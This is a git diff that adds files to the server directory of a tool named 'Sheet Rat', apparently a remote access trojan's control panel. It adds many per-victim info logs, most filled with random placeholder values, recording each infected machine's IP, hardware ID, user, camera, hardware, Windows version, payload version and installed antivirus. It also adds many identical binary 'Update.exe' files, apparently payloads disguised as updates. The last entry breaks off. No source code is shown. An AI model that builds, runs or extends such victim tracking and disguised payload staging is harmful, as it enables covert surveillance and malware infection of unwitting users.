34eF1V diff --git a/Server/bin/Debug/Users/7dVMO0/Info_nB2y00_uLTsgJ.txt b/Server/bin/Debug/Users/7dVMO0/Info_nB2y00_uLTsgJ.txt new file mode 100644 index 0000000..e153674 --- /dev/null +++ b/Server/bin/Debug/Users/7dVMO0/Info_nB2y00_uLTsgJ.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 158.157.157.157 +HWID: 7dVMO0 +User: nB2y00 +MachineName: uLTsgJ +Computer: DiNZDH +Camera: GAMpJF +Cpu: 6qlQFa @ 2 +Gpu: KOBimf +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: bNnscb +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: Bkj7uv diff --git a/Server/bin/Debug/Users/7pQ4As4m/Download/Update.exe b/Server/bin/Debug/Users/7pQ4As4m/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/7pQ4As4m/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/8491u7cd/Download/Update.exe b/Server/bin/Debug/Users/8491u7cd/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/8491u7cd/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/8gKFvR/Info_qIYe67_EqRzQB.txt b/Server/bin/Debug/Users/8gKFvR/Info_qIYe67_EqRzQB.txt new file mode 100644 index 0000000..2ec502b --- /dev/null +++ b/Server/bin/Debug/Users/8gKFvR/Info_qIYe67_EqRzQB.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 227.227.227.227 +HWID: 8gKFvR +User: qIYe67 +MachineName: EqRzQB +Computer: uLLLcr +Camera: 026buo +Cpu: FTExTW @ 2 +Gpu: HJDR8m +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: yQ4Zm8 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 4gdnLl diff --git a/Server/bin/Debug/Users/9IhjuKTe/Download/Update.exe b/Server/bin/Debug/Users/9IhjuKTe/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/9IhjuKTe/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/9YceHBBp/Download/Update.exe b/Server/bin/Debug/Users/9YceHBBp/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/9YceHBBp/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/9fzQggm1/Download/Update.exe b/Server/bin/Debug/Users/9fzQggm1/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/9fzQggm1/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/A31DCE08C2B4B0A14732AF2/Info_Admin_DESKTOP-EDLLMTB.txt b/Server/bin/Debug/Users/A31DCE08C2B4B0A14732AF2/Info_Admin_DESKTOP-EDLLMTB.txt new file mode 100644 index 0000000..a882342 --- /dev/null +++ b/Server/bin/Debug/Users/A31DCE08C2B4B0A14732AF2/Info_Admin_DESKTOP-EDLLMTB.txt @@ -0,0 +1,16 @@ +Sheet Rat +IP: 127.0.0.1 +HWID: A31DCE08C2B4B0A14732AF2 +Group: Default +User: Admin +MachineName: DESKTOP-EDLLMTB +Computer: VMware20,1 +Camera: false +Cpu: 12th Gen Intel(R) Core(TM) i5-12400F,12th Gen Intel(R) Core(TM) i5-12400F @ 4 +Gpu: VMware SVGA 3D +Ram: 10GB +Gpu Memory: 4GB +Windows Version: Майкрософт Windows 10 для образовательных учреждений 64-разрядная +Payload Version: 2.5 +DataInstall: 17.06.2025 +AntiVirus: Windows Defender diff --git a/Server/bin/Debug/Users/ALsTMf3M/Download/Update.exe b/Server/bin/Debug/Users/ALsTMf3M/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/ALsTMf3M/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/AcXTfkML/Download/Update.exe b/Server/bin/Debug/Users/AcXTfkML/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/AcXTfkML/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/BLqL5M/Info_DfFMSj_0gs228.txt b/Server/bin/Debug/Users/BLqL5M/Info_DfFMSj_0gs228.txt new file mode 100644 index 0000000..00e2313 --- /dev/null +++ b/Server/bin/Debug/Users/BLqL5M/Info_DfFMSj_0gs228.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 27.27.27.27 +HWID: BLqL5M +User: DfFMSj +MachineName: 0gs228 +Computer: 4oSusw +Camera: 9WRvEc +Cpu: QZEgA6 @ 2 +Gpu: tiGyNl +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: Y6z0iA +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: bqmTF8 diff --git a/Server/bin/Debug/Users/CBSZYoyy/Download/Update.exe b/Server/bin/Debug/Users/CBSZYoyy/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/CBSZYoyy/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/CLNpXc/Info_PePnmW_usTU3U.txt b/Server/bin/Debug/Users/CLNpXc/Info_PePnmW_usTU3U.txt new file mode 100644 index 0000000..5ced844 --- /dev/null +++ b/Server/bin/Debug/Users/CLNpXc/Info_PePnmW_usTU3U.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 150.149.149.149 +HWID: CLNpXc +User: PePnmW +MachineName: usTU3U +Computer: PwOLyg +Camera: 9KGf0T +Cpu: 07XNiN @ 2 +Gpu: jmoGYu +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: O1cS2R +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: PyjpvM diff --git a/Server/bin/Debug/Users/Cg5mQZfe/Download/Update.exe b/Server/bin/Debug/Users/Cg5mQZfe/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/Cg5mQZfe/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/CjC1OG/Info_bIatW7_JSyQOX.txt b/Server/bin/Debug/Users/CjC1OG/Info_bIatW7_JSyQOX.txt new file mode 100644 index 0000000..2c9727e --- /dev/null +++ b/Server/bin/Debug/Users/CjC1OG/Info_bIatW7_JSyQOX.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 216.216.216.216 +HWID: CjC1OG +User: bIatW7 +MachineName: JSyQOX +Computer: mw1Azi +Camera: Y3ZWNb +Cpu: VcHzj7 @ 2 +Gpu: rrSFgt +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: tI9bA7 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: qj8Rkv diff --git a/Server/bin/Debug/Users/Cr3eEuLQ/Download/Update.exe b/Server/bin/Debug/Users/Cr3eEuLQ/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/Cr3eEuLQ/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/D511rT5I/Download/Update.exe b/Server/bin/Debug/Users/D511rT5I/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/D511rT5I/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/DPyzxs/Info_TMrlur_rg2uB4.txt b/Server/bin/Debug/Users/DPyzxs/Info_TMrlur_rg2uB4.txt new file mode 100644 index 0000000..04dacf1 --- /dev/null +++ b/Server/bin/Debug/Users/DPyzxs/Info_TMrlur_rg2uB4.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 60.60.60.60 +HWID: DPyzxs +User: TMrlur +MachineName: rg2uB4 +Computer: sUh73i +Camera: N4FFQD +Cpu: LERidk @ 2 +Gpu: cF0OFj +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: wCqBiw +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: mR8boz diff --git a/Server/bin/Debug/Users/DQ1xpICi/Download/Update.exe b/Server/bin/Debug/Users/DQ1xpICi/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/DQ1xpICi/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/Download/Update.exe b/Server/bin/Debug/Users/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/E3GdmGgM/Download/Update.exe b/Server/bin/Debug/Users/E3GdmGgM/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/E3GdmGgM/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/F1mjUOEa/Download/Update.exe b/Server/bin/Debug/Users/F1mjUOEa/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/F1mjUOEa/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/F2c0dOff/Download/Update.exe b/Server/bin/Debug/Users/F2c0dOff/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/F2c0dOff/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/FAFIa1nt/Download/Update.exe b/Server/bin/Debug/Users/FAFIa1nt/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/FAFIa1nt/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/FJAJzzW2/Download/Update.exe b/Server/bin/Debug/Users/FJAJzzW2/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/FJAJzzW2/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/FKHwNzCw/Download/Update.exe b/Server/bin/Debug/Users/FKHwNzCw/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/FKHwNzCw/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/HQ8tC8/Info_RFUlGf_Ia83C5.txt b/Server/bin/Debug/Users/HQ8tC8/Info_RFUlGf_Ia83C5.txt new file mode 100644 index 0000000..54bf382 --- /dev/null +++ b/Server/bin/Debug/Users/HQ8tC8/Info_RFUlGf_Ia83C5.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 133.133.133.133 +HWID: HQ8tC8 +User: RFUlGf +MachineName: Ia83C5 +Computer: FhXdQ3 +Camera: Hzlwew +Cpu: W463tb @ 2 +Gpu: nfDFXX +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: H5mcWC +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: m3rlBv diff --git a/Server/bin/Debug/Users/HXMrAUbu/Download/Update.exe b/Server/bin/Debug/Users/HXMrAUbu/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/HXMrAUbu/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/Hm11s2GZ/Download/Update.exe b/Server/bin/Debug/Users/Hm11s2GZ/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/Hm11s2GZ/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/IqMSrJ/Info_SIJNg0_03xUXN.txt b/Server/bin/Debug/Users/IqMSrJ/Info_SIJNg0_03xUXN.txt new file mode 100644 index 0000000..90938a1 --- /dev/null +++ b/Server/bin/Debug/Users/IqMSrJ/Info_SIJNg0_03xUXN.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 71.70.70.70 +HWID: IqMSrJ +User: SIJNg0 +MachineName: 03xUXN +Computer: tQolM9 +Camera: k3cbIJ +Cpu: hWIh6d @ 2 +Gpu: eJr0YP +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: viodXk +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 2pZpGI diff --git a/Server/bin/Debug/Users/J0pexC/Info_xRaEUE_K48udT.txt b/Server/bin/Debug/Users/J0pexC/Info_xRaEUE_K48udT.txt new file mode 100644 index 0000000..f0e07a6 --- /dev/null +++ b/Server/bin/Debug/Users/J0pexC/Info_xRaEUE_K48udT.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 1.0.0.0 +HWID: J0pexC +User: xRaEUE +MachineName: K48udT +Computer: 1FMt2j +Camera: rl9KwW +Cpu: wZmklc @ 2 +Gpu: 2DnuMY +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 8amYGl +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: wcdnM5 diff --git a/Server/bin/Debug/Users/KRKwr9/Info_tQ6AOL_kRmxcK.txt b/Server/bin/Debug/Users/KRKwr9/Info_tQ6AOL_kRmxcK.txt new file mode 100644 index 0000000..7254038 --- /dev/null +++ b/Server/bin/Debug/Users/KRKwr9/Info_tQ6AOL_kRmxcK.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 87.86.86.86 +HWID: KRKwr9 +User: tQ6AOL +MachineName: kRmxcK +Computer: X7AlSR +Camera: zYtjEf +Cpu: Skf7Bq @ 2 +Gpu: 2wig6O +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: zzFwmE +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: PsgpNR diff --git a/Server/bin/Debug/Users/KhSbiL/Info_Hm8eu0_vLEADo.txt b/Server/bin/Debug/Users/KhSbiL/Info_Hm8eu0_vLEADo.txt new file mode 100644 index 0000000..5583e48 --- /dev/null +++ b/Server/bin/Debug/Users/KhSbiL/Info_Hm8eu0_vLEADo.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 231.231.231.231 +HWID: KhSbiL +User: Hm8eu0 +MachineName: vLEADo +Computer: NNT45J +Camera: 3urxRA +Cpu: jlTbcF @ 2 +Gpu: juG1l4 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: cKtJ88 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: mqe8Qz diff --git a/Server/bin/Debug/Users/L7XppdTq/Download/Update.exe b/Server/bin/Debug/Users/L7XppdTq/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/L7XppdTq/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/MAluUaoe/Download/Update.exe b/Server/bin/Debug/Users/MAluUaoe/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/MAluUaoe/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/NPh0A5pe/Download/Update.exe b/Server/bin/Debug/Users/NPh0A5pe/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/NPh0A5pe/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/Na5AdZ/Info_AFwEod_GO9JZn.txt b/Server/bin/Debug/Users/Na5AdZ/Info_AFwEod_GO9JZn.txt new file mode 100644 index 0000000..7d18cc1 --- /dev/null +++ b/Server/bin/Debug/Users/Na5AdZ/Info_AFwEod_GO9JZn.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 25.24.24.24 +HWID: Na5AdZ +User: AFwEod +MachineName: GO9JZn +Computer: TAlHuM +Camera: ULiNHK +Cpu: JChRDo @ 2 +Gpu: 1bsxm3 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 35RqiS +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: dEe86e diff --git a/Server/bin/Debug/Users/OTnQOU/Info_Jxfoxy_1SEugV.txt b/Server/bin/Debug/Users/OTnQOU/Info_Jxfoxy_1SEugV.txt new file mode 100644 index 0000000..3da4bc6 --- /dev/null +++ b/Server/bin/Debug/Users/OTnQOU/Info_Jxfoxy_1SEugV.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 248.248.248.248 +HWID: OTnQOU +User: Jxfoxy +MachineName: 1SEugV +Computer: oCUBko +Camera: aWtByI +Cpu: 995c8a @ 2 +Gpu: go26ua +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: a5erDf +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: Vcnb4o diff --git a/Server/bin/Debug/Users/OjC0wY/Info_knFk38_cPewL0.txt b/Server/bin/Debug/Users/OjC0wY/Info_knFk38_cPewL0.txt new file mode 100644 index 0000000..62563ad --- /dev/null +++ b/Server/bin/Debug/Users/OjC0wY/Info_knFk38_cPewL0.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 126.125.125.125 +HWID: OjC0wY +User: knFk38 +MachineName: cPewL0 +Computer: IieBOh +Camera: WEmK3Q +Cpu: GmNBzj @ 2 +Gpu: B5Szce +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: HK2BKk +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: ny9TUz diff --git a/Server/bin/Debug/Users/OswurE/Info_bKQZFX_JFjM9k.txt b/Server/bin/Debug/Users/OswurE/Info_bKQZFX_JFjM9k.txt new file mode 100644 index 0000000..bb28ced --- /dev/null +++ b/Server/bin/Debug/Users/OswurE/Info_bKQZFX_JFjM9k.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 254.254.254.254 +HWID: OswurE +User: bKQZFX +MachineName: JFjM9k +Computer: ROsFs5 +Camera: k6PnPM +Cpu: bcHHO2 @ 2 +Gpu: QtmX7z +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 3qL4AV +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: WqQTLP diff --git a/Server/bin/Debug/Users/P0i7kI/Info_ADVQ1D_btxDZS.txt b/Server/bin/Debug/Users/P0i7kI/Info_ADVQ1D_btxDZS.txt new file mode 100644 index 0000000..a057583 --- /dev/null +++ b/Server/bin/Debug/Users/P0i7kI/Info_ADVQ1D_btxDZS.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 74.73.73.73 +HWID: P0i7kI +User: ADVQ1D +MachineName: btxDZS +Computer: Frm6vp +Camera: FDP2kR +Cpu: TNc4Pi @ 2 +Gpu: 1ktm5d +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: V8FPNU +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: SYrjRl diff --git a/Server/bin/Debug/Users/PS25Qo/Info_2uEcYC_lpMRxN.txt b/Server/bin/Debug/Users/PS25Qo/Info_2uEcYC_lpMRxN.txt new file mode 100644 index 0000000..3e58a05 --- /dev/null +++ b/Server/bin/Debug/Users/PS25Qo/Info_2uEcYC_lpMRxN.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 158.158.158.158 +HWID: PS25Qo +User: 2uEcYC +MachineName: lpMRxN +Computer: SjEL3o +Camera: KHCtQA +Cpu: sZYpZ3 @ 2 +Gpu: DolEFb +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: lrJk3g +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 1pK49C diff --git a/Server/bin/Debug/Users/PdG2hS/Info_If5s70_dYhvnj.txt b/Server/bin/Debug/Users/PdG2hS/Info_If5s70_dYhvnj.txt new file mode 100644 index 0000000..65be818 --- /dev/null +++ b/Server/bin/Debug/Users/PdG2hS/Info_If5s70_dYhvnj.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 144.143.143.143 +HWID: PdG2hS +User: If5s70 +MachineName: dYhvnj +Computer: f8508h +Camera: A7Ix4o +Cpu: npWdd9 @ 2 +Gpu: VJCRyP +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 0jjkus +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: p1USQ2 diff --git a/Server/bin/Debug/Users/PlgdUb3h/Download/Update.exe b/Server/bin/Debug/Users/PlgdUb3h/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/PlgdUb3h/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/QC1q5Q/Info_73Q3LC_up64Qi.txt b/Server/bin/Debug/Users/QC1q5Q/Info_73Q3LC_up64Qi.txt new file mode 100644 index 0000000..994cb14 --- /dev/null +++ b/Server/bin/Debug/Users/QC1q5Q/Info_73Q3LC_up64Qi.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 240.240.240.240 +HWID: QC1q5Q +User: 73Q3LC +MachineName: up64Qi +Computer: 6HR22F +Camera: 2Zi1hJ +Cpu: 3zrio8 @ 2 +Gpu: eqvAWS +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 8V77Ff +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: z5iWI0 diff --git a/Server/bin/Debug/Users/QpKukstM/Download/Update.exe b/Server/bin/Debug/Users/QpKukstM/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/QpKukstM/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/RY0NmTTR/Download/Update.exe b/Server/bin/Debug/Users/RY0NmTTR/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/RY0NmTTR/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/SQW9GH/Info_tzMHpe_g9mxvB.txt b/Server/bin/Debug/Users/SQW9GH/Info_tzMHpe_g9mxvB.txt new file mode 100644 index 0000000..04e10b9 --- /dev/null +++ b/Server/bin/Debug/Users/SQW9GH/Info_tzMHpe_g9mxvB.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 14.14.14.14 +HWID: SQW9GH +User: tzMHpe +MachineName: g9mxvB +Computer: TsuB8N +Camera: iKOd5t +Cpu: osPyM2 @ 2 +Gpu: GqjIcV +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 5kEclC +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: dUcZAK diff --git a/Server/bin/Debug/Users/UDTx69/Info_YBtRNV_8UU7pX.txt b/Server/bin/Debug/Users/UDTx69/Info_YBtRNV_8UU7pX.txt new file mode 100644 index 0000000..7c8b361 --- /dev/null +++ b/Server/bin/Debug/Users/UDTx69/Info_YBtRNV_8UU7pX.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 217.217.217.217 +HWID: UDTx69 +User: YBtRNV +MachineName: 8UU7pX +Computer: 2b3MSB +Camera: CD4AK9 +Cpu: YEeVGI @ 2 +Gpu: 8c3CSg +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 00x9ZT +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: lUDEca diff --git a/Server/bin/Debug/Users/UMA8aj/Info_x5u93g_I5UDCm.txt b/Server/bin/Debug/Users/UMA8aj/Info_x5u93g_I5UDCm.txt new file mode 100644 index 0000000..406284a --- /dev/null +++ b/Server/bin/Debug/Users/UMA8aj/Info_x5u93g_I5UDCm.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 63.62.62.62 +HWID: UMA8aj +User: x5u93g +MachineName: I5UDCm +Computer: khr0MQ +Camera: ys2PSQ +Cpu: 60Wkm3 @ 2 +Gpu: e0f8iM +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: GWemn2 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: LoDsgb diff --git a/Server/bin/Debug/Users/Uf34Vh/Info_ZyxZEY_FZ8Fgi.txt b/Server/bin/Debug/Users/Uf34Vh/Info_ZyxZEY_FZ8Fgi.txt new file mode 100644 index 0000000..a575306 --- /dev/null +++ b/Server/bin/Debug/Users/Uf34Vh/Info_ZyxZEY_FZ8Fgi.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 77.76.76.76 +HWID: Uf34Vh +User: ZyxZEY +MachineName: FZ8Fgi +Computer: CFh5vI +Camera: XvVvK1 +Cpu: N6lJiJ @ 2 +Gpu: 5tCJtt +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: IGUjvN +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: EGR6ZO diff --git a/Server/bin/Debug/Users/UnuAcwmu/Download/Update.exe b/Server/bin/Debug/Users/UnuAcwmu/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/UnuAcwmu/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/VEQhFQ/Info_qRyX7l_abDMfh.txt b/Server/bin/Debug/Users/VEQhFQ/Info_qRyX7l_abDMfh.txt new file mode 100644 index 0000000..ff09484 --- /dev/null +++ b/Server/bin/Debug/Users/VEQhFQ/Info_qRyX7l_abDMfh.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 43.42.42.42 +HWID: VEQhFQ +User: qRyX7l +MachineName: abDMfh +Computer: WXAeWV +Camera: DU1DXS +Cpu: nNGNvv @ 2 +Gpu: gulsjT +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: eIMeYI +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: BBOKLe diff --git a/Server/bin/Debug/Users/VEsdGS/Info_LaZvbW_cO4vn2.txt b/Server/bin/Debug/Users/VEsdGS/Info_LaZvbW_cO4vn2.txt new file mode 100644 index 0000000..640d971 --- /dev/null +++ b/Server/bin/Debug/Users/VEsdGS/Info_LaZvbW_cO4vn2.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 189.188.188.188 +HWID: VEsdGS +User: LaZvbW +MachineName: cO4vn2 +Computer: M2Y3IO +Camera: zKNq9Z +Cpu: mNc2MA @ 2 +Gpu: JWh9dJ +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: CM3kWV +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: rZmkJY diff --git a/Server/bin/Debug/Users/VKrqBu/Info_ImdAoD_6N52Bc.txt b/Server/bin/Debug/Users/VKrqBu/Info_ImdAoD_6N52Bc.txt new file mode 100644 index 0000000..1da3372 --- /dev/null +++ b/Server/bin/Debug/Users/VKrqBu/Info_ImdAoD_6N52Bc.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 45.44.44.44 +HWID: VKrqBu +User: ImdAoD +MachineName: 6N52Bc +Computer: 2xzp2x +Camera: EYi9ou +Cpu: epYhnl @ 2 +Gpu: muxh7Y +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: LLSPEX +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: aUQcLy diff --git a/Server/bin/Debug/Users/WCEK1z/Info_BiBSnN_R7pSvT.txt b/Server/bin/Debug/Users/WCEK1z/Info_BiBSnN_R7pSvT.txt new file mode 100644 index 0000000..d35a9ed --- /dev/null +++ b/Server/bin/Debug/Users/WCEK1z/Info_BiBSnN_R7pSvT.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 67.67.67.67 +HWID: WCEK1z +User: BiBSnN +MachineName: R7pSvT +Computer: KEtBn3 +Camera: 4VAy3y +Cpu: tsKr4x @ 2 +Gpu: Eo2Co9 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: pptlhu +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: jgM71K diff --git a/Server/bin/Debug/Users/WXJyCa/Info_vNOgfp_OcEa5e.txt b/Server/bin/Debug/Users/WXJyCa/Info_vNOgfp_OcEa5e.txt new file mode 100644 index 0000000..afc06e3 --- /dev/null +++ b/Server/bin/Debug/Users/WXJyCa/Info_vNOgfp_OcEa5e.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 59.59.59.59 +HWID: WXJyCa +User: vNOgfp +MachineName: OcEa5e +Computer: fgaYEI +Camera: MrMcRK +Cpu: 41UDuX @ 2 +Gpu: ZKV2DZ +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: tAL8wT +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: bzRGBp diff --git a/Server/bin/Debug/Users/Wv6w0A/Info_hJjA8h_qLR5rq.txt b/Server/bin/Debug/Users/Wv6w0A/Info_hJjA8h_qLR5rq.txt new file mode 100644 index 0000000..395dbd9 --- /dev/null +++ b/Server/bin/Debug/Users/Wv6w0A/Info_hJjA8h_qLR5rq.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 191.191.191.191 +HWID: Wv6w0A +User: hJjA8h +MachineName: qLR5rq +Computer: 6L7CJp +Camera: OBE19q +Cpu: wAkZJ5 @ 2 +Gpu: 6vtyTS +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: fQdNGD +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: p5p3Sh diff --git a/Server/bin/Debug/Users/XDHWmy/Info_t80y4r_KSQGGe.txt b/Server/bin/Debug/Users/XDHWmy/Info_t80y4r_KSQGGe.txt new file mode 100644 index 0000000..faf9b23 --- /dev/null +++ b/Server/bin/Debug/Users/XDHWmy/Info_t80y4r_KSQGGe.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 70.69.69.69 +HWID: XDHWmy +User: t80y4r +MachineName: KSQGGe +Computer: kF1CFS +Camera: w9ndge +Cpu: h7VGjx @ 2 +Gpu: AxSJpF +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ktziE2 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 0nRpjb diff --git a/Server/bin/Debug/Users/Xe3oC8/Info_Htj357_Iltqb8.txt b/Server/bin/Debug/Users/Xe3oC8/Info_Htj357_Iltqb8.txt new file mode 100644 index 0000000..b59f545 --- /dev/null +++ b/Server/bin/Debug/Users/Xe3oC8/Info_Htj357_Iltqb8.txt @@ -0,0 +1,15 